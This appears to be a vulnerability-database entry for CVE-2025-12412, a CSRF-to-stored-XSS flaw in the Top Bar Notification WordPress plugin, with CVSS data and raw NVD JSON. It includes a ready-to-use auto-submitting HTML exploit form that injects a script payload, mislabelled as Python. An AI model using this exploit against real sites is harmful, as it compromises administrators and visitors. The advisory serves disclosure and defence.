Security Vulnerability Report
中文
CVE-2025-12412 CVSS 6.1 MEDIUM

CVE-2025-12412

Published: 2025-11-04 05:16:13
Last Modified: 2026-04-15 00:35:42

Description

The Top Bar Notification plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.12. This is due to missing or incorrect nonce validation on th tbn_ajax_add() function. This makes it possible for unauthenticated attackers to update the plugin's settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Top Bar Notification WordPress插件 <= 1.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12412 PoC: CSRF to Stored XSS in Top Bar Notification plugin --> <html> <body> <form action="http://target-wordpress-site/wp-admin/admin-ajax.php" method="POST" id="exploit"> <input type="hidden" name="action" value="tbn_ajax_add" /> <input type="hidden" name="tbn_title" value="Notification Title" /> <input type="hidden" name="tbn_message" value="<script>alert(document.cookie)</script>" /> <input type="hidden" name="tbn_button_text" value="Click Me" /> <input type="hidden" name="tbn_button_url" value="https://malicious-site.com" /> <input type="hidden" name="tbn_display_time" value="0" /> <input type="hidden" name="tbn_position" value="top" /> </form> <script> document.getElementById('exploit').submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12412", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:13.150", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Top Bar Notification plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.12. This is due to missing or incorrect nonce validation on th tbn_ajax_add() function. This makes it possible for unauthenticated attackers to update the plugin's settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/top-bar-notification/tags/1.12/Notification.php#L102", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/top-bar-notification/tags/1.12/Notification.php#L75", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0856f3bf-da17-44bb-aa30-26f9fb6e22b1?source=cve", "source": "[email protected]"}]}}